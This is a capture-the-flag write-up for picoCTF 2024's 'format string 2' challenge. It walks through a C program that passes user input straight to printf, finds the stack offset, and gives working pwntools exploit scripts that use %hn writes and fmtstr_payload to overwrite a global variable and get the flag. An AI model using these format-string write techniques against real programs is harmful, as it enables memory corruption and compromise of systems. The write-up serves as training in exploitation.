Level: Medium
Tags: picoCTF 2024, Binary Exploitation, format_string, browser_webshell_solvable
Author: SKRUBLAWD
Description:
This program is not impressed by cheap parlor tricks like reading arbitrary data off the stack.
To impress this program you must change data on the stack!
Download the binary here.
Download the source here.
Connect with the challenge instance here:
nc rhea.picoctf.net 57654
Hints:
1. pwntools are very useful for this problem!
Challenge link: https://play.picoctf.org/practice/challenge/448
As usual, we start by analysing the C source code.
#include <stdio.h>
int sus = 0x21737573;
int main() {
char buf[1024];
char flag[64];
printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your input: ");
printf(buf);
printf("\n");
fflush(stdout);
if (sus == 0x67616c66) {
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
// Read in the flag
FILE *fd = fopen("flag.txt", "r");
fgets(flag, 64, fd);
printf("%s", flag);
fflush(stdout);
}
else {
printf("sus = 0x%x\n", sus);
printf("You can do better!\n");
fflush(stdout);
}
return 0;
}
The program does the following:
- Prints some greeting text and ask us for input
- Reads 1024 bytes of input, stores it in
buf
and prints the buffer - Checks if
sus
has changed toflag
(from the initialsus!
) then reads and prints the flag - Else prints the hex-value of
sus
and ask us to do better
The offset of our input can be found manually by inputting a known string (ABCDEFGH
) followed by a long string of items of the form <offset>:%p<delimiter>
. Here I have used pipes (|
) as delimiter.
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2024/Binary_Exploitation/format_string_2]
└─$ python -c "print('ABCDEFGH|' + '|'.join(['%d:%%p' % i for i in range(1,20)]))" | ./vuln
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
Here's your input: ABCDEFGH|1:0x7fff00ef1480|2:(nil)|3:(nil)|4:0xa|5:0x400|6:0x7f33152777b0|7:0x7f33152a9ab0|8:0x7fff00ef1760|9:0x7f3315280fc8|10:0x1|11:0x7fff00ef1790|12:(nil)|13:0x7f3315277ca8|14:0x4847464544434241|15:0x3a327c70253a317c|16:0x7c70253a337c7025|17:0x253a357c70253a34|18:0x377c70253a367c70|19:0x70253a387c70253a
sus = 0x21737573
You can do better!
Offset 14 looks promising and is indeed the ASCII-version of our input (in reverse order due to endianness).
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2024/Binary_Exploitation/format_string_2]
└─$ echo '4847464544434241' | xxd -r -p | rev
ABCDEFGH
We can also write a small python script with the help of pwntools to find the offset for us
#!/usr/bin/python
from pwn import *
SERVER = 'rhea.picoctf.net'
PORT = 57654
MY_INPUT = 'ABCDEFGH'
# Set output level (critical, error, warning, info, debug)
context.update(log_level = "warning")
for i in range(1, 25):
io = remote(SERVER, PORT)
log.info(f"\n---------- Trying offset {i} ----------\n")
io.sendlineafter(b"What do you have to say?\n", f"{MY_INPUT}%{i}$lx".encode('ascii'))
out = io.recvlineS().split(':')[1].strip()[8:]
log.info(f"Parsed output: {out}\n")
try:
# Little endian case
res_le = p64(int(out, 16), endianness="little").decode()
log.debug(f"Little endian value: {res_le}\n")
if (res_le == MY_INPUT):
print(f"Found start of input ({MY_INPUT}) with little endian at offset {i}")
# Big endian case
res_be = p64(int(out, 16), endianness="big").decode()
log.debug(f"Big endian value: {res_be}\n")
if (res_be == MY_INPUT):
print(f"Found start of input ({MY_INPUT}) with big endian at offset {i}")
except Exception:
pass
io.recvall()
io.close()
We run the script to get the offset
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2024/Binary_Exploitation/format_string_2]
└─$ ~/python_venvs/pwntools/bin/python find_offset.py
Found start of input (ABCDEFGH) with little endian at offset 14
We confirm that the input starts at offset 14.
Next we create an exploitation script where we divide the writing of the goal value in two parts and adjust the offset due to additional data before the target addresses we write to. We write the upper part first since it's smaller than the lower part. We also make sure that the target addresses are aligned in memory.
#!/usr/bin/python
from pwn import *
SERVER = 'rhea.picoctf.net'
PORT = 57654
exe = context.binary = ELF('./vuln', checksec=False)
target = exe.symbols.sus
goal_value = 0x67616c66
offset = 14
# Set output level (critical, error, warning, info, debug)
context.log_level = "info"
upper_goal = (goal_value >> 16) & 0xFFFF
lower_goal = goal_value & 0xFFFF
lower_address = p64(target)
upper_address = p64(target+2)
payload = f'%{upper_goal}c'.encode() # Padding
payload += f'%{offset+4}$hn'.encode() # Format string for upper half
payload += f'%{lower_goal - upper_goal}c'.encode() # More padding
payload += f'%{offset+5}$hn'.encode() # Format string for lower half
payload += (8 - (len(payload) % 8)) * b'_' # Aligment
payload += upper_address
payload += lower_address
io = remote(SERVER, PORT)
io.sendlineafter(b'What do you have to say?\n', payload)
io.recvline()
print(io.recvallS())
io.close()
When running the script we get the flag
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2024/Binary_Exploitation/format_string_2]
└─$ ~/python_venvs/pwntools/bin/python get_flag.py
[+] Opening connection to rhea.picoctf.net on port 57654: Done
[+] Receiving all data: Done (110B)
[*] Closed connection to rhea.picoctf.net port 57654
I have NO clue how you did that, you must be a wizard. Here you go...
picoCTF{<REDACTED>}
We can also automate the entire process with pwntools format string tools
#!/usr/bin/python
from pwn import *
SERVER = 'rhea.picoctf.net'
PORT = 57654
exe = context.binary = ELF('./vuln', checksec=False)
target = exe.symbols.sus
goal_value = 0x67616c66
# Set output level (critical, error, warning, info, debug)
context.log_level = "warning"
def exec_fmt(payload):
p = remote(SERVER, PORT)
p.sendline(payload)
return p.recvall()
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
payload = fmtstr_payload(offset, {target: goal_value})
io = remote(SERVER, PORT)
io.sendlineafter(b'What do you have to say?\n', payload)
io.recvline()
print(io.recvallS())
io.close()
Then we just run the script to get the flag
┌──(kali㉿kali)-[/mnt/…/picoCTF/picoCTF_2024/Binary_Exploitation/format_string_2]
└─$ ~/python_venvs/pwntools/bin/python get_flag2.py
I have NO clue how you did that, you must be a wizard. Here you go...
picoCTF{<REDACTED>}
For additional information, please see the references below.